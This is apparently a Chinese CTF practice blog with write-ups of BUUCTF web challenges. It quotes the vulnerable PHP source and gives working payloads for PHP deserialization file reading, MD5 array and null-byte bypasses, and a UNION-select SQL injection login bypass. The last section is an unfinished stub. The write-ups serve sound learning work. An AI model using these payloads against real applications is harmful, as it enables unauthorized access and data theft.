1.BUUCTF刷题-[网鼎杯 2020 青龙组]AreUSerialz
看这个题目应该又是个反序列化漏洞+文件包含题目。这种题第一步肯定是先审计源码。
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;//此处注意类型为protected,序列化后会在变量名前添加标记%00*%00,长度+3
protected $filename;
protected $content;
function __construct() {//构造函数
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();//$this代表实例化后的这个对象
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {//判断content长度大于100
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);//将content写入文件,返回写入的字节数,失败时返回flase
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);//将文件中的内容读入$res
}
return $res;
}
private function output($s) {//输出函数
echo "[Result]: <br>";
echo $s;
}
function __destruct() {//析构函数
if($this->op === "2")//强判断
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {//检查对象是否已经实例化
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))//要求串中的每个字符的ascll值在32-125之间(即为可打印字符)
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];//转为字符串类型
if(is_valid($str)) {
$obj = unserialize($str);
}
}
因为数据成员类型为protected,序列化后会在变量名前添加标记%00*%00,是不可打印字符,所以要先绕过is_valid()函数。两个办法:
1.PHP7.1以上版本对属性类型不敏感,public属性序列化不会出现不可见字符,可以用public属性来绕过
2.将代表字符串的s改为S,此时这个字符串就支持将后面的字符串用16进制表示。
绕过is_vaild检测后,我们要得到flag,那就要得到flag.php的内容,所以需要绕过op==1这个弱判断。
构造如下程序得到序列化内容:
<?php
class FileHandler
{
public $op=2;
public $filename="flag.php";
public $content="";
}
$obj=new FileHandler;
echo serialize($obj);
?>
//O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:0:"";}
此处,因为对象obj已经在序列化时生成,所以不再调用构造函数,因为之后也没有任何语句,所以直接回调用析构函数。令op=2,可以绕过强判断,同时,不绕过弱判断。
然后查看返回页面的源码即可得到flag。(关于为什么要在源码中才能看到我不太理解)
或是使用php://filter伪协议,以base64编码读取flag也可以得到。
2.BUUCTF刷题-[MRCTF2020]Ez_bypass
这题的题目代码不换行的,实在反人类。在burp里读成合理的格式。
I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
$id=$_GET['id'];
$gg=$_GET['gg'];
if (md5($id) === md5($gg) && $id !== $gg) {
echo 'You got the first step';
if(isset($_POST['passwd'])) {
$passwd=$_POST['passwd'];
if (!is_numeric($passwd))
{
if($passwd==1234567)
{
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
}
else
{
echo "can you think twice??";
}
}
else{
echo 'You can not get it !';
}
}
else{
die('only one way to get the flag');
}
}
else {
echo "You are not a real hacker!";
}
}
else{
die('Please input first');
}
}
看题目是要绕过几个if判断。
第一个MD5绕过,可以用数组绕过。
?gg[]=1&id[]=2
然后要求post提交的数据通过is_numeric()函数判断,同时值要等于1234567.
passwd=1234567%00
然后就得到flag。很基础的题。
3.BUUCTF刷题-[GXYCTF2019]BabySQli
先随便输入账号密码,页面源码中回显一串字符。
<!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5-->
//base32的编码表是由(A-Z、2-7)32个可见字符构成,“=”符号用作后缀填充。
//base64的编码表是由(A-Z、a-z、0-9、+、/)64个可见字符构成,“=”符号用作后缀填充。
字符串由大写字母和数字组成,大概是base32加密的密文。解密后发现是base64的密文,再次解密后得到:
select * from user where username = '$name'
可知表名为user,其中一个字段名为username。
经实验,注入点是username框,但是过滤了包括小括号、or、/、order by等在内的很多关键词。
看了一下题目的源码,逻辑是先判断账号是否为admin,然后再判断密码,其中,密码是用md5加密后保存在数据库中的。
if(preg_match("/\(|\)|\=|or/", $name)){
die("do not hack me!");
}
else{
if (!$result) {
printf("Error: %s\n", mysqli_error($con));
exit();
}
else{
// echo '<pre>';
$arr = mysqli_fetch_row($result);
// print_r($arr);
if($arr[1] == "admin"){
if(md5($password) == $arr[2]){
echo $flag;
}
else{
die("wrong pass!");
}
}
else{
die("wrong user!");
}
}
}
看了wp,构造的payload为:
name=x' union select 0,'admin','c4ca4238a0b923820dcc509a6f75849b'%23&pw=1
这里有一个知识点:当查询的数据不存在的时候,联合查询就会构造一个虚拟的数据。
所以这个payload的逻辑是这样的:
1.传入的'x'是不存在的数据,所以会临时构造一个" 0,'admin','c4ca4238a0b923820dcc509a6f75849b' "这样的数据。
//这里的x可以是任意除admin之外的字符;
//为什么说是临时的,因为数据库中不会实际出现这些数据,而是作为返回值出现;
//这里的0可以是任意数字;
//c4ca4238a0b923820dcc509a6f75849b是1的md5加密;
//可以用select 1,2,3来判断出表有三个字段;
//可以看到在代码中没有涉及到arr[0]的判断,所以第一个字段大概是类似于ip这样的数据;
2.这些数据会赋给$arr数组,此时这些数据配合传入的passwd=1刚好可以通过判断。
最后,返回flag。
3.BUUCTF刷题-[CISCN2019 华北赛区 Day2 Web1]Hack World
bool盲注,涉及到我的知识盲区了...
wp
得找时间补一下python相关的知识了,好久不编程都不会了
看比赛去咯..